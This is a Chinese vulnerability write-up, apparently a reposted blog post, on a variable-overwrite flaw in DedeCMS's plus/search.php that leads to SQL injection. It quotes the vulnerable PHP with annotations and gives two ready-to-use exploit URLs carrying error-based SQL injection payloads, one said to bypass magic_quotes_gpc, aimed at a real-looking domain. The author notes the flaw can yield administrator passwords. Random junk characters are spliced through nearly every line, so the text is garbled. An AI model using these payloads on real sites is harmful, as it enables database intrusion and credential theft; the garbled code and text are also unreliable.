微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.: d( r! V% j$ n$ I
作者: c4rp3nt3r@0x50sec.org' t/ \0 B3 O. K8 v# |1 s0 y: O0 ~
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
, E u( y$ J- D q1 i . q: Z, ]7 \ c2 B3 u
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.( m' I' p7 D6 n' b4 m
~$ Z' s$ Q" ]0 B# i
============
% R, x. [4 q2 c0 K- n+ G# i1 r
+ m. I, l) A, v. w8 Y: l) ^: e : G$ L, z$ i1 E' F+ k- S9 ^8 m
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.. W$ _0 q( n$ T
" s3 b# `" t7 ^require_once(dirname(__FILE__).”/../include/common.inc.php”);6 i% ^, k+ l Y) s% |. j. n/ j5 h
require_once(DEDEINC.”/arc.searchview.class.php”); h/ e* Y/ B @
o' F5 ?: J* K# m' h" `' s( y6 d& D+ B
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
4 T5 T" v0 `' k/ i, | A4 a$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
. N7 z! n! c6 e# ], [. W1 _# q4 e! z1 z- u$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
$ g1 \; v2 [% H$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;* f* [ c* N4 F; x* B
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;3 i% U2 G- x' \: ]4 j( p
E! I3 Q/ B* d. @9 U3 _: B3 z% g. y9 A
if(!isset($orderby)) $orderby=”;6 ~: l' J/ t; P3 x- D3 z: L) ]
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);0 o& t: ~# h* [' w
; ?* G, ?4 |9 O" b
' {8 ]" X& A9 W Y! _2 T3 x; O8 Q
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
) q6 w6 Q5 X& V( Relse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
& C9 s8 H* X: K% b " P; b4 ?5 n1 ]( l" }% w
if(!isset($keyword)){
* h3 w. o* @/ `0 C if(!isset($q)) $q = ”;! I$ u, c) X* I: [( }: t
$keyword=$q;, ^8 ~# K' H" D% N1 c
}" s k6 Z. H7 N- ~$ c$ W- O3 a
+ L( l6 H/ ]" s' }6 D; B
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
2 X( Y* D# l S( g/ g/ w' y+ {
m: M( I& J4 K//查找栏目信息/ f! W* e8 k+ c' k! J+ N
if(empty($typeid))5 @! ^2 H; Q2 t+ i# o! y9 C7 I- E
{& m4 K# i& p2 J' j$ q1 z g
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;8 k& L. x6 x$ X' T" D& F" |
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )2 e0 j5 ^* S" Q, Y/ H+ H
{
8 X+ R7 ~# b/ u' F7 D) f& Q4 p $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);, H* @1 {! C! |0 |6 t
fwrite($fp, “<”.”?php\r\n”);
n1 D3 C. B+ {, } $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);0 w: O) M% U$ N3 [. D6 l, G( C& O
$dsql->Execute();1 C* X* T9 ^! L; l F
while($row = $dsql->GetArray())" O+ o7 C' p* i' k; F& F G9 h
{0 N8 w4 {; R8 b. O# f
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
1 ]. b: w. l w6 l; [2 w }% E% q0 c1 k/ C/ Y6 h5 a5 p
fwrite($fp, ‘?’.'>’);0 ~& k# W; |3 H( o# Y
fclose($fp);7 C7 }, L9 \4 s
}1 D% z9 e5 }: I, p7 P o/ }
//引入栏目缓存并看关键字是否有相关栏目内容
4 M: F3 R- t0 G" y+ m. J! t require_once($typenameCacheFile);
; P6 `0 u9 l6 _8 }7 V! Y5 F//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
' F. p# v, h7 R7 M! ^; v//. R9 x% w3 F5 a& ?6 I# C7 F
if(isset($typeArr) && is_array($typeArr))
: S0 ], x2 N% k9 q$ p* W {' J& B. c! ^, W0 ~! v1 `
foreach($typeArr as $id=>$typename). b% r$ K6 S2 R6 E% y
{7 J1 |' ?9 g$ L1 O8 f* q4 V* N+ \7 s
) ?3 `" ?. {' m0 F <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过* a% _$ f6 i6 W6 q1 J
if($keyword != $keywordn)
# U+ Y$ n3 C& `6 R( ^ {; ~$ V Q! l. L, U' F0 Y
$keyword = $keywordn;
, i, P# X1 S" f <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设' _5 j1 ?* W4 [
break;/ N8 ]; `/ Z+ I4 g
}
; k e. L0 G5 _4 G, i7 t6 \ }" [9 ~: X d5 d# l
}1 p# n7 T" G0 z) ~/ @
}2 x+ i, C |7 Q
然后plus/search.php文件下面定义了一个 Search类的对象 .% d1 g' s, a. l1 i% w
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.* M( z9 u6 l# }( u/ }+ q; }
$this->TypeLink = new TypeLink($typeid);
, ]( ~" J, O: Y' _5 e- Z / l) u& Q: i1 e, e, s3 S
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
) E u" F* A+ E) q% R$ z, Z % N$ C& H/ t* l1 z& f9 Q
class TypeLink
4 |$ R& N2 O3 j3 d{
/ [! T& ^7 `7 d; V. G: u# ^( X var $typeDir;
7 ^* E' S0 g! f/ h% u3 ~9 c- [! F var $dsql;/ U7 s9 e: r; k- N: \- }
var $TypeID;0 P! m9 Q, L: L5 A/ o* `
var $baseDir;
: m- L) k h& N! ~" Y var $modDir;
% {: \" d7 B8 I9 m+ L9 b/ U4 c var $indexUrl;
8 j q! ?6 Z2 C; B1 g* @ var $indexName;
6 a9 Z/ D( L, \1 f# l var $TypeInfos;
5 q2 I3 m. |0 l9 | var $SplitSymbol;! I9 e1 {# }0 Q% a' l- d
var $valuePosition;
3 B( U* i; _$ o var $valuePositionName;
+ _: s4 p& H. F3 P3 A" p4 H var $OptionArrayList;//构造函数///////
% o; G, `" `9 k* x //php5构造函数8 H# Z0 }. C3 W. B# i
function __construct($typeid): i9 n3 ^. U6 a: u
{
8 g: q0 m6 o, j& \. e% [' b $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];" r) a) {/ K$ Z
$this->indexName = $GLOBALS['cfg_indexname'];
% n( j* H! Z" X. { $this->baseDir = $GLOBALS['cfg_basedir'];
$ J; V, Q; d# U& ]) R) T3 d0 R $this->modDir = $GLOBALS['cfg_templets_dir'];
! q9 M# D3 f* r8 X# W $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];- f+ D; Y, D3 D# U
$this->dsql = $GLOBALS['dsql'];2 _! a: c. `2 {# h# U8 [ T5 C
$this->TypeID = $typeid;
( k8 A6 A x2 S1 m# S $this->valuePosition = ”;# h1 M( m& A& }2 k# R9 {
$this->valuePositionName = ”;% Y5 S/ ^/ T3 o' i) m
$this->typeDir = ”;2 j' M" {% @6 B3 Z
$this->OptionArrayList = ”;
' x6 [3 c( z! m$ S& y9 }% c* H
" d, l4 h. o4 Z7 {4 ` //载入类目信息1 O3 k' G2 W% r' j) D
) v( |+ K0 R( w1 p0 F <font color=”Red”>$query = “SELECT tp.*,ch.typename as; L9 f9 \, C0 J5 ]* o. d
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join( t2 ^! b) @5 K7 w+ s4 I
`#@__channeltype` ch# h8 @$ \% C; e" S! G# `, k# D
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿* x6 y2 _5 c5 Q$ _6 Q
4 L8 C5 X! W9 T if($typeid > 0)% }5 z( @+ H5 `& z8 g
{
/ q+ o( G' S( L# l T: ]2 |- H$ r $this->TypeInfos = $this->dsql->GetOne($query);9 f, e# U* T$ }* M* [
利用代码一 需要 即使magic_quotes_gpc = Off, P$ f& {) i+ i1 {0 ^' f; o
6 E* ]4 F" K* O- d twww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
2 ?# P+ g3 x" ]3 z+ s1 _
" ~& H$ w. [7 F: M! \: j& @2 w8 {这只是其中一个利用代码… Search 类的构造函数再往下
4 b4 X, N% C4 y, P4 [4 I 8 |; u8 e; W9 F" C1 p; T* |+ [
……省略
# ~% A. }( c' `2 Z/ O1 f$this->TypeID = $typeid;
! w G; i& d% c% y1 A) Z' x……省略" r. s: R" K. z) O0 h, N2 S
if($this->TypeID==”0″){$ f$ f8 _3 Y$ f
$this->ChannelTypeid=1;6 y0 ^; G# {' K9 K
}else{
) i2 |" e" J; {9 t, I4 _$ O% ` $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
3 G( s b( o, ~, u& o) L//现在不鸡肋了吧亲…1 _: m& d4 O4 `1 ^$ u
$this->ChannelTypeid=$row['channeltype'];
9 n# Y! j0 y3 i% j6 _4 n# T 4 f2 V' ^6 z2 Q
}
: M8 \& _3 w+ z! k3 w利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.# C6 [0 N1 j' E- u" j3 C
( K& w- J/ m/ s% @) k0 Z' s3 p
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title# C( j4 v% p3 z. v4 {, a
9 o( H" V1 L5 q8 k) Z如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站: [, \$ `- I; G( g$ ?7 D
|